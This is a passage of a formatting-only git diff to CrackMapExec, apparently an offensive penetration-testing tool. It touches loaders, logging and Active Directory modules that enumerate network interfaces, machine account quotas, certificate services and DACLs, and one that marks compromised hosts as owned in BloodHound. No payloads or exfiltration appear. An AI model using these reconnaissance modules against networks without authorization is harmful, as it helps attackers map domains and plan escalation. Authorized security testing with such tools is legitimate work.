"opsec_safe": module_spec.opsec_safe, + "multiple_hosts": module_spec.multiple_hosts, + } } if self.module_is_sane(module_spec, module_path): return module @@ -122,11 +129,14 @@ class ModuleLoader: List modules without initializing them """ modules = {} - modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(CME_PATH, 'modules')] + modules_paths = [ + os.path.join(os.path.dirname(cme.__file__), "modules"), + os.path.join(CME_PATH, "modules"), + ] for path in modules_paths: for module in os.listdir(path): - if module[-3:] == '.py' and module != 'example_module.py': + if module[-3:] == ".py" and module != "example_module.py": module_path = os.path.join(path, module) module_data = self.get_module_info(module_path) modules.update(module_data) diff --git a/cme/loaders/protocolloader.py b/cme/loaders/protocolloader.py index ee827e0a..a6a0017d 100755 --- a/cme/loaders/protocolloader.py +++ b/cme/loaders/protocolloader.py @@ -8,31 +8,34 @@ import cme class ProtocolLoader: def __init__(self): - self.cme_path = os.path.expanduser('~/.cme') + self.cme_path = os.path.expanduser("~/.cme") def load_protocol(self, protocol_path): - loader = SourceFileLoader('protocol', protocol_path) + loader = SourceFileLoader("protocol", protocol_path) protocol = types.ModuleType(loader.name) loader.exec_module(protocol) return protocol def get_protocols(self): protocols = {} - protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')] + protocol_paths = [ + os.path.join(os.path.dirname(cme.__file__), "protocols"), + os.path.join(self.cme_path, "protocols"), + ] for path in protocol_paths: for protocol in os.listdir(path): - if protocol[-3:] == '.py' and protocol[:-3] != '__init__': + if protocol[-3:] == ".py" and protocol[:-3] != "__init__": protocol_path = os.path.join(path, protocol) protocol_name = protocol[:-3] - protocols[protocol_name] = {'path': protocol_path} + protocols[protocol_name] = {"path": protocol_path} - db_file_path = os.path.join(path, protocol_name, 'database.py') - db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py') + db_file_path = os.path.join(path, protocol_name, "database.py") + db_nav_path = os.path.join(path, protocol_name, "db_navigator.py") if os.path.exists(db_file_path): - protocols[protocol_name]['dbpath'] = db_file_path + protocols[protocol_name]["dbpath"] = db_file_path if os.path.exists(db_nav_path): - protocols[protocol_name]['nvpath'] = db_nav_path + protocols[protocol_name]["nvpath"] = db_nav_path return protocols diff --git a/cme/logger.py b/cme/logger.py index 8db13111..f4953bd6 100755 --- a/cme/logger.py +++ b/cme/logger.py @@ -18,11 +18,13 @@ class CMEAdapter(logging.LoggerAdapter): logging.basicConfig( format="%(message)s", datefmt="[%X]", - handlers=[RichHandler( - console=cme_console, - rich_tracebacks=True, - tracebacks_show_locals=False - )] + handlers=[ + RichHandler( + console=cme_console, + rich_tracebacks=True, + tracebacks_show_locals=False, + ) + ], ) self.logger = logging.getLogger("cme") self.extra = extra @@ -40,25 +42,38 @@ class CMEAdapter(logging.LoggerAdapter): if self.extra is None: return f"{msg}", kwargs - if 'module_name' in self.extra.keys(): + if "module_name" in self.extra.keys(): if len(self.extra["module_name"]) > 8: self.extra["module_name"] = self.extra["module_name"][:8] + "..." # If the logger is being called when hooking the 'options' module function if len(self.extra) == 1 and ("module_name" in self.extra.keys()): - return f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs + return ( + f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", + kwargs, + ) # If the logger is being called from CMEServer - if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()): - return f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs + if ( + len(self.extra) == 2 + and ("module_name" in self.extra.keys()) + and ("host" in self.extra.keys()) + ): + return ( + f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", + kwargs, + ) # If the logger is being called from a protocol if "module_name" in self.extra.keys(): - module_name = colored(self.extra["module_name"], 'cyan', attrs=["bold"]) + module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) else: - module_name = colored(self.extra["protocol"], 'blue', attrs=["bold"]) + module_name = colored(self.extra["protocol"], "blue", attrs=["bold"]) - return f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs + return ( + f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", + kwargs, + ) def display(self, msg, *args, **kwargs): """ @@ -70,7 +85,9 @@ class CMEAdapter(logging.LoggerAdapter): except AttributeError: pass - msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs) + msg, kwargs = self.format( + f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs + ) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -80,12 +97,14 @@ class CMEAdapter(logging.LoggerAdapter): Print some sort of success to the user """ try: - if 'protocol' in self.extra.keys() and not called_from_cmd_args(): + if "protocol" in self.extra.keys() and not called_from_cmd_args(): return except AttributeError: pass - msg, kwargs = self.format(f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs) + msg, kwargs = self.format( + f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs + ) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -95,7 +114,7 @@ class CMEAdapter(logging.LoggerAdapter): Prints a completely yellow highlighted message to the user """ try: - if 'protocol' in self.extra.keys() and not called_from_cmd_args(): + if "protocol" in self.extra.keys() and not called_from_cmd_args(): return except AttributeError: pass @@ -110,11 +129,13 @@ class CMEAdapter(logging.LoggerAdapter): Prints a failure (may or may not be an error) - e.g. login creds didn't work """ try: - if 'protocol' in self.extra.keys() and not called_from_cmd_args(): + if "protocol" in self.extra.keys() and not called_from_cmd_args(): return except AttributeError: pass - msg, kwargs = self.format(f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs) + msg, kwargs = self.format( + f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs + ) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -141,26 +162,36 @@ class CMEAdapter(logging.LoggerAdapter): ) ) except Exception as e: - self.logger.fail(f"Issue while trying to custom print handler: {e}") + self.logger.fail( + f"Issue while trying to custom print handler: {e}" + ) else: self.logger.info(text) def add_file_log(self, log_file=None): - file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s") + file_formatter = TermEscapeCodeFormatter( + "%(asctime)s - %(levelname)s - %(message)s" + ) output_file = self.init_log_file() if log_file is None else log_file file_creation = False if not os.path.isfile(output_file): - open(output_file, 'x') + open(output_file, "x") file_creation = True file_handler = RotatingFileHandler(output_file, maxBytes=100000) with file_handler._open() as f: if file_creation: - f.write("[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv))) + f.write( + "[%s]> %s\n\n" + % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)) + ) else: - f.write("\n[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv))) + f.write( + "\n[%s]> %s\n\n" + % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)) + ) file_handler.setFormatter(file_formatter) self.logger.addHandler(file_handler) @@ -169,17 +200,16 @@ class CMEAdapter(logging.LoggerAdapter): @staticmethod def init_log_file(): log_filename = os.path.join( - os.path.expanduser( - "~/.cme" - ), + os.path.expanduser("~/.cme"), "logs", - f"full-log_{datetime.now().strftime('%Y-%m-%d')}.log" + f"full-log_{datetime.now().strftime('%Y-%m-%d')}.log", ) return log_filename class TermEscapeCodeFormatter(logging.Formatter): """A class to strip the escape codes for logging to files""" + def __init__(self, fmt=None, datefmt=None, style="%", validate=True): super().__init__(fmt, datefmt, style, validate) diff --git a/cme/modules/IOXIDResolver.py b/cme/modules/IOXIDResolver.py index 720d230b..b7067189 100644 --- a/cme/modules/IOXIDResolver.py +++ b/cme/modules/IOXIDResolver.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- # Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/ -# Airbus CERT +# Airbus CERT # module by @mpgn_x64 from ipaddress import ip_address @@ -10,23 +10,23 @@ from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE from impacket.dcerpc.v5.dcomrt import IObjectExporter -class CMEModule: - name = 'ioxidresolver' - description = "Thie module helps you to identify hosts that have additional active interfaces" - supported_protocols = ['smb'] +class CMEModule: + name = "ioxidresolver" + description = ( + "Thie module helps you to identify hosts that have additional active interfaces" + ) + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = False def options(self, context, module_options): - """ - """ - + """ """ def on_login(self, context, connection): authLevel = RPC_C_AUTHN_LEVEL_NONE - stringBinding = r'ncacn_ip_tcp:%s' % connection.host + stringBinding = r"ncacn_ip_tcp:%s" % connection.host rpctransport = transport.DCERPCTransportFactory(stringBinding) portmap = rpctransport.get_dce_rpc() @@ -38,13 +38,11 @@ class CMEModule: context.log.debug("[*] Retrieving network interface of " + connection.host) - #NetworkAddr = bindings[0]['aNetworkAddr'] + # NetworkAddr = bindings[0]['aNetworkAddr'] for binding in bindings: - NetworkAddr = binding['aNetworkAddr'] + NetworkAddr = binding["aNetworkAddr"] try: ip_address(NetworkAddr[:-1]) context.log.highlight("Address: " + NetworkAddr) except Exception as e: context.log.debug(e) - - diff --git a/cme/modules/MachineAccountQuota.py b/cme/modules/MachineAccountQuota.py index 460fd2ea..fc7f7550 100644 --- a/cme/modules/MachineAccountQuota.py +++ b/cme/modules/MachineAccountQuota.py @@ -1,31 +1,34 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- + class CMEModule: """ - Module by Shutdown and Podalirius + Module by Shutdown and Podalirius - Initial module: - https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota + Initial module: + https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota - Authors: - Shutdown: @_nwodtuhs - Podalirius: @podalirius_ + Authors: + Shutdown: @_nwodtuhs + Podalirius: @podalirius_ """ def options(self, context, module_options): pass - name = 'MAQ' - description = 'Retrieves the MachineAccountQuota domain-level attribute' - supported_protocols = ['ldap'] + name = "MAQ" + description = "Retrieves the MachineAccountQuota domain-level attribute" + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False - def on_login(self, context, connection): + def on_login(self, context, connection): result = [] - context.log.display('Getting the MachineAccountQuota') - searchFilter = '(objectClass=*)' - attributes = ['ms-DS-MachineAccountQuota'] + context.log.display("Getting the MachineAccountQuota") + searchFilter = "(objectClass=*)" + attributes = ["ms-DS-MachineAccountQuota"] result = connection.search(searchFilter, attributes) - context.log.highlight("MachineAccountQuota: %d" % result[0]['attributes'][0]['vals'][0]) + context.log.highlight( + "MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0] + ) diff --git a/cme/modules/adcs.py b/cme/modules/adcs.py index 431618ef..106215e3 100644 --- a/cme/modules/adcs.py +++ b/cme/modules/adcs.py @@ -11,9 +11,10 @@ class CMEModule: Module by Tobias Neitzel (@qtc_de) and Sam Freeside (@snovvcrash) """ - name = 'adcs' - description = 'Find PKI Enrollment Services in Active Directory and Certificate Templates Names' - supported_protocols = ['ldap'] + + name = "adcs" + description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names" + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -28,23 +29,25 @@ class CMEModule: SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name """ self.context = context - self.regex = re.compile('(https?://.+)') + self.regex = re.compile("(https?://.+)") self.server = None - if module_options and 'SERVER' in module_options: - self.server = module_options['SERVER'] + if module_options and "SERVER" in module_options: + self.server = module_options["SERVER"] def on_login(self, context, connection): """ On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names. """ if self.server is None: - search_filter = '(objectClass=pKIEnrollmentService)' + search_filter = "(objectClass=pKIEnrollmentService)" else: search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration," - self.context.log.highlight('Using PKI CN: {}'.format(self.server)) + self.context.log.highlight("Using PKI CN: {}".format(self.server)) - context.log.display("Starting LDAP search with search filter '{}'".format(search_filter)) + context.log.display( + "Starting LDAP search with search filter '{}'".format(search_filter) + ) try: sc = ldap.SimplePagedResultsControl() @@ -57,18 +60,19 @@ class CMEModule: sizeLimit=0, searchControls=[sc], perRecordCallback=self.process_servers, - searchBase='CN=Configuration,' + base_dn_root + searchBase="CN=Configuration," + base_dn_root, ) else: resp = connection.ldapConnection.search( - searchFilter=search_filter + base_dn_root + ')', - attributes=['certificateTemplates'], - sizeLimit=0, searchControls=[sc], + searchFilter=search_filter + base_dn_root + ")", + attributes=["certificateTemplates"], + sizeLimit=0, + searchControls=[sc], perRecordCallback=self.process_templates, - searchBase='CN=Configuration,' + base_dn_root + searchBase="CN=Configuration," + base_dn_root, ) except LDAPSearchError as e: - context.log.fail('Obtained unexpected exception: {}'.format(str(e))) + context.log.fail("Obtained unexpected exception: {}".format(str(e))) def process_servers(self, item): """ @@ -82,30 +86,37 @@ class CMEModule: cn = None try: - for attribute in item['attributes']: - - if str(attribute['type']) == 'dNSHostName': - host_name = attribute['vals'][0].asOctets().decode('utf-8') - if str(attribute['type']) == 'cn': - cn = attribute['vals'][0].asOctets().decode('utf-8') - elif str(attribute['type']) == 'msPKI-Enrollment-Servers': - values = attribute['vals'] + for attribute in item["attributes"]: + if str(attribute["type"]) == "dNSHostName": + host_name = attribute["vals"][0].asOctets().decode("utf-8") + if str(attribute["type"]) == "cn": + cn = attribute["vals"][0].asOctets().decode("utf-8") + elif str(attribute["type"]) == "msPKI-Enrollment-Servers": + values = attribute["vals"] for value in values: - value = value.asOctets().decode('utf-8') + value = value.asOctets().decode("utf-8") match = self.regex.search(value) if match: urls.append(match.group(1)) except Exception as e: - entry = host_name or 'item' - self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e))) + entry = host_name or "item" + self.context.log.fail( + "Skipping {}, cannot process LDAP entry due to error: '{}'".format( + entry, str(e) + ) + ) if host_name: - self.context.log.highlight('Found PKI Enrollment Server: {}'.format(host_name)) + self.context.log.highlight( + "Found PKI Enrollment Server: {}".format(host_name) + ) if cn: - self.context.log.highlight('Found CN: {}'.format(cn)) + self.context.log.highlight("Found CN: {}".format(cn)) for url in urls: - self.context.log.highlight('Found PKI Enrollment WebService: {}'.format(url)) + self.context.log.highlight( + "Found PKI Enrollment WebService: {}".format(url) + ) def process_templates(self, item): """ @@ -118,15 +129,17 @@ class CMEModule: template_name = None try: - for attribute in item['attributes']: - if str(attribute['type']) == 'certificateTemplates': - for val in attribute['vals']: - template_name = val.asOctets().decode('utf-8') + for attribute in item["attributes"]: + if str(attribute["type"]) == "certificateTemplates": + for val in attribute["vals"]: + template_name = val.asOctets().decode("utf-8") templates.append(template_name) except Exception as e: - entry = template_name or 'item' - self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'") + entry = template_name or "item" + self.context.log.fail( + f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'" + ) if templates: for t in templates: - self.context.log.highlight('Found Certificate Template: {}'.format(t)) + self.context.log.highlight("Found Certificate Template: {}".format(t)) diff --git a/cme/modules/bh_owned.py b/cme/modules/bh_owned.py index 6d863f4c..ec210856 100644 --- a/cme/modules/bh_owned.py +++ b/cme/modules/bh_owned.py @@ -10,9 +10,9 @@ import sys class CMEModule: - name = 'bh_owned' + name = "bh_owned" description = "Set pwned computer as owned in Bloodhound" - supported_protocols = ['smb'] + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -26,25 +26,25 @@ class CMEModule: def options(self, context, module_options): """ - URI URI for Neo4j database (default: 127.0.0.1) - PORT Listening port for Neo4j database (default: 7687) - USER Username for Neo4j database (default: 'neo4j') - PASS Password for Neo4j database (default: 'neo4j') + URI URI for Neo4j database (default: 127.0.0.1) + PORT Listening port for Neo4j database (default: 7687) + USER Username for Neo4j database (default: 'neo4j') + PASS Password for Neo4j database (default: 'neo4j') """ - + self.neo4j_URI = "127.0.0.1" self.neo4j_Port = "7687" self.neo4j_user = "neo4j" self.neo4j_pass = "neo4j" - if module_options and 'URI' in module_options: - self.neo4j_URI = module_options['URI'] - if module_options and 'PORT' in module_options: - self.neo4j_Port = module_options['PORT'] - if module_options and 'USER' in module_options: - self.neo4j_user = module_options['USER'] - if module_options and 'PASS' in module_options: - self.neo4j_pass = module_options['PASS'] + if module_options and "URI" in module_options: + self.neo4j_URI = module_options["URI"] + if module_options and "PORT" in module_options: + self.neo4j_Port = module_options["PORT"] + if module_options and "USER" in module_options: + self.neo4j_user = module_options["USER"] + if module_options and "PASS" in module_options: + self.neo4j_pass = module_options["PASS"] def on_admin_login(self, context, connection): try: @@ -53,24 +53,30 @@ class CMEModule: from neo4j import GraphDatabase from neo4j.exceptions import AuthError, ServiceUnavailable - + if context.local_auth: - domain = connection.conn.getServerDNSDomainName() + domain = connection.conn.getServerDNSDomainName() else: domain = connection.domain - host_fqdn = (connection.hostname + "." + domain).upper() uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) try: - driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False) + driver = GraphDatabase.driver( + uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False + ) except AuthError as e: context.log.fail( - "Provided Neo4J credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) + "Provided Neo4J credentials ({}:{}) are not valid. See --options".format( + self.neo4j_user, self.neo4j_pass + ) + ) sys.exit() except ServiceUnavailable as e: - context.log.fail("Neo4J does not seem to be available on {}. See --options".format(uri)) + context.log.fail( + "Neo4J does not seem to be available on {}. See --options".format(uri) + ) sys.exit() except Exception as e: context.log.fail("Unexpected error with Neo4J") @@ -80,15 +86,23 @@ class CMEModule: with driver.session() as session: with session.begin_transaction() as tx: result = tx.run( - "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) + 'MATCH (c:Computer {{name:"{}"}}) SET c.owned=True RETURN c.name AS name'.format( + host_fqdn + ) + ) record = result.single() try: value = record.value() except AttributeError: value = [] if len(value) > 0: - context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) + context.log.success( + "Node {} successfully set as owned in BloodHound".format(host_fqdn) + ) else: context.log.fail( - "Node {} does not appear to be in Neo4J database. Have you imported correct data?".format(host_fqdn)) + "Node {} does not appear to be in Neo4J database. Have you imported correct data?".format( + host_fqdn + ) + ) driver.close() diff --git a/cme/modules/daclread.py b/cme/modules/daclread.py index e2987cb0..0321d7f2 100644 --- a/cme/modules/daclread.py +++ b/cme/modules/daclread.py @@ -17,80 +17,80 @@ OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) # Universal SIDs WELL_KNOWN_SIDS = { - 'S-1-0': 'Null Authority', - 'S-1-0-0': 'Nobody', - 'S-1-1': 'World Authority', - 'S-1-1-0': 'Everyone', - 'S-1-2': 'Local Authority', - 'S-1-2-0': 'Local', - 'S-1-2-1': 'Console Logon', - 'S-1-3': 'Creator Authority', - 'S-1-3-0': 'Creator Owner', - 'S-1-3-1': 'Creator Group', - 'S-1-3-2': 'Creator Owner Server', - 'S-1-3-3': 'Creator Group Server', - 'S-1-3-4': 'Owner Rights', - 'S-1-5-80-0': 'All Services', - 'S-1-4': 'Non-unique Authority', - 'S-1-5': 'NT Authority', - 'S-1-5-1': 'Dialup', - 'S-1-5-2': 'Network', - 'S-1-5-3': 'Batch', - 'S-1-5-4': 'Interactive', - 'S-1-5-6': 'Service', - 'S-1-5-7': 'Anonymous', - 'S-1-5-8': 'Proxy', - 'S-1-5-9': 'Enterprise Domain Controllers', - 'S-1-5-10': 'Principal Self', - 'S-1-5-11': 'Authenticated Users', - 'S-1-5-12': 'Restricted Code', - 'S-1-5-13': 'Terminal Server Users', - 'S-1-5-14': 'Remote Interactive Logon', - 'S-1-5-15': 'This Organization', - 'S-1-5-17': 'This Organization', - 'S-1-5-18': 'Local System', - 'S-1-5-19': 'NT Authority', - 'S-1-5-20': 'NT Authority', - 'S-1-5-32-544': 'Administrators', - 'S-1-5-32-545': 'Users', - 'S-1-5-32-546': 'Guests', - 'S-1-5-32-547': 'Power Users', - 'S-1-5-32-548': 'Account Operators', - 'S-1-5-32-549': 'Server Operators', - 'S-1-5-32-550': 'Print Operators', - 'S-1-5-32-551': 'Backup Operators', - 'S-1-5-32-552': 'Replicators', - 'S-1-5-64-10': 'NTLM Authentication', - 'S-1-5-64-14': 'SChannel Authentication', - 'S-1-5-64-21': 'Digest Authority', - 'S-1-5-80': 'NT Service', - 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', - 'S-1-16-0': 'Untrusted Mandatory Level', - 'S-1-16-4096': 'Low Mandatory Level', - 'S-1-16-8192': 'Medium Mandatory Level', - 'S-1-16-8448': 'Medium Plus Mandatory Level', - 'S-1-16-12288': 'High Mandatory Level', - 'S-1-16-16384': 'System Mandatory Level', - 'S-1-16-20480': 'Protected Process Mandatory Level', - 'S-1-16-28672': 'Secure Process Mandatory Level', - 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', - 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', - 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', - 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', - 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', - 'S-1-5-32-559': 'BUILTIN\Performance Log Users', - 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', - 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', - 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', - 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', - 'S-1-5-32-573': 'BUILTIN\Event Log Readers', - 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', - 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', - 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', - 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', - 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', - 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', - 'S-1-5-32-580': 'BUILTIN\Remote Management Users', + "S-1-0": "Null Authority", + "S-1-0-0": "Nobody", + "S-1-1": "World Authority", + "S-1-1-0": "Everyone", + "S-1-2": "Local Authority", + "S-1-2-0": "Local", + "S-1-2-1": "Console Logon", + "S-1-3": "Creator Authority", + "S-1-3-0": "Creator Owner", + "S-1-3-1": "Creator Group", + "S-1-3-2": "Creator Owner Server", + "S-1-3-3": "Creator Group Server", + "S-1-3-4": "Owner Rights", + "S-1-5-80-0": "All Services", + "S-1-4": "Non-unique Authority", + "S-1-5": "NT Authority", + "S-1-5-1": "Dialup", + "S-1-5-2": "Network", + "S-1-5-3": "Batch", + "S-1-5-4": "Interactive", + "S-1-5-6": "Service", + "S-1-5-7": "Anonymous", + "S-1-5-8": "Proxy", + "S-1-5-9": "Enterprise Domain Controllers", + "S-1-5-10": "Principal Self", + "S-1-5-11": "Authenticated Users", + "S-1-5-12": "Restricted Code", + "S-1-5-13": "Terminal Server Users", + "S-1-5-14": "Remote Interactive Logon", + "S-1-5-15": "This Organization", + "S-1-5-17": "This Organization", + "S-1-5-18": "Local System", + "S-1-5-19": "NT Authority", + "S-1-5-20": "NT Authority", + "S-1-5-32-544": "Administrators", + "S-1-5-32-545": "Users", + "S-1-5-32-546": "Guests", + "S-1-5-32-547": "Power Users", + "S-1-5-32-548": "Account Operators", + "S-1-5-32-549": "Server Operators", + "S-1-5-32-550": "Print Operators", + "S-1-5-32-551": "Backup Operators", + "S-1-5-32-552": "Replicators", + "S-1-5-64-10": "NTLM Authentication", + "S-1-5-64-14": "SChannel Authentication", + "S-1-5-64-21": "Digest Authority", + "S-1-5-80": "NT Service", + "S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines", + "S-1-16-0": "Untrusted Mandatory Level", + "S-1-16-4096": "Low Mandatory Level", + "S-1-16-8192": "Medium Mandatory Level", + "S-1-16-8448": "Medium Plus Mandatory Level", + "S-1-16-12288": "High Mandatory Level", + "S-1-16-16384": "System Mandatory Level", + "S-1-16-20480": "Protected Process Mandatory Level", + "S-1-16-28672": "Secure Process Mandatory Level", + "S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access", + "S-1-5-32-555": "BUILTIN\Remote Desktop Users", + "S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders", + "S-1-5-32-556": "BUILTIN\\Network Configuration Operators", + "S-1-5-32-558": "BUILTIN\Performance Monitor Users", + "S-1-5-32-559": "BUILTIN\Performance Log Users", + "S-1-5-32-560": "BUILTIN\Windows Authorization Access Group", + "S-1-5-32-561": "BUILTIN\Terminal Server License Servers", + "S-1-5-32-562": "BUILTIN\Distributed COM Users", + "S-1-5-32-569": "BUILTIN\Cryptographic Operators", + "S-1-5-32-573": "BUILTIN\Event Log Readers", + "S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access", + "S-1-5-32-575": "BUILTIN\RDS Remote Access Servers", + "S-1-5-32-576": "BUILTIN\RDS Endpoint Servers", + "S-1-5-32-577": "BUILTIN\RDS Management Servers", + "S-1-5-32-578": "BUILTIN\Hyper-V Administrators", + "S-1-5-32-579": "BUILTIN\Access Control Assistance Operators", + "S-1-5-32-580": "BUILTIN\Remote Management Users", } @@ -122,8 +122,12 @@ class ACE_FLAGS(Enum): # Since these two flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace class OBJECT_ACE_FLAGS(Enum): - ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT - ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT + ACE_OBJECT_TYPE_PRESENT = ( + ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + ) + ACE_INHERITED_OBJECT_TYPE_PRESENT = ( + ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT + ) # Access Mask enum @@ -166,12 +170,12 @@ class ACCESS_MASK(Enum): # Simple permissions are combinaisons of extended permissions # https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc783530(v=ws.10)?redirectedfrom=MSDN class SIMPLE_PERMISSIONS(Enum): - FullControl = 0xf01ff - Modify = 0x0301bf - ReadAndExecute = 0x0200a9 - ReadAndWrite = 0x02019f + FullControl = 0xF01FF + Modify = 0x0301BF + ReadAndExecute = 0x0200A9 + ReadAndWrite = 0x02019F Read = 0x20094 - Write = 0x200bc + Write = 0x200BC # Mask ObjectType field enum @@ -194,9 +198,10 @@ class CMEModule: It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added. It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write. """ - name = 'daclread' - description = 'Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options.' - supported_protocols = ['ldap'] + + name = "daclread" + description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options." + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = False @@ -218,46 +223,48 @@ class CMEModule: self.context = context if not module_options: - context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read") + context.log.fail( + "Select an option, example: -M daclread -o TARGET=Administrator ACTION=read" + ) exit(1) - if module_options and 'TARGET' in module_options: - if re.search(r'^(.+)\/([^\/]+)$', module_options['TARGET']) is not None: + if module_options and "TARGET" in module_options: + if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None: try: - self.target_file = open(module_options['TARGET'], "r") + self.target_file = open(module_options["TARGET"], "r") self.target_sAMAccountName = None except Exception as e: context.log.fail("The file doesn't exist or cannot be openned.") else: - self.target_sAMAccountName = module_options['TARGET'] + self.target_sAMAccountName = module_options["TARGET"] self.target_file = None self.target_DN = None self.target_SID = None - if module_options and 'TARGET_DN' in module_options: - self.target_DN = module_options['TARGET_DN'] + if module_options and "TARGET_DN" in module_options: + self.target_DN = module_options["TARGET_DN"] self.target_sAMAccountName = None self.target_file = None - if module_options and 'PRINCIPAL' in module_options: - self.principal_sAMAccountName = module_options['PRINCIPAL'] + if module_options and "PRINCIPAL" in module_options: + self.principal_sAMAccountName = module_options["PRINCIPAL"] else: self.principal_sAMAccountName = None self.principal_sid = None - if module_options and 'ACTION' in module_options: - self.action = module_options['ACTION'] + if module_options and "ACTION" in module_options: + self.action = module_options["ACTION"] else: - self.action = 'read' - if module_options and 'ACE_TYPE' in module_options: - self.ace_type = module_options['ACE_TYPE'] + self.action = "read" + if module_options and "ACE_TYPE" in module_options: + self.ace_type = module_options["ACE_TYPE"] else: - self.ace_type = 'allowed' - if module_options and 'RIGHTS' in module_options: - self.rights = module_options['RIGHTS'] + self.ace_type = "allowed" + if module_options and "RIGHTS" in module_options: + 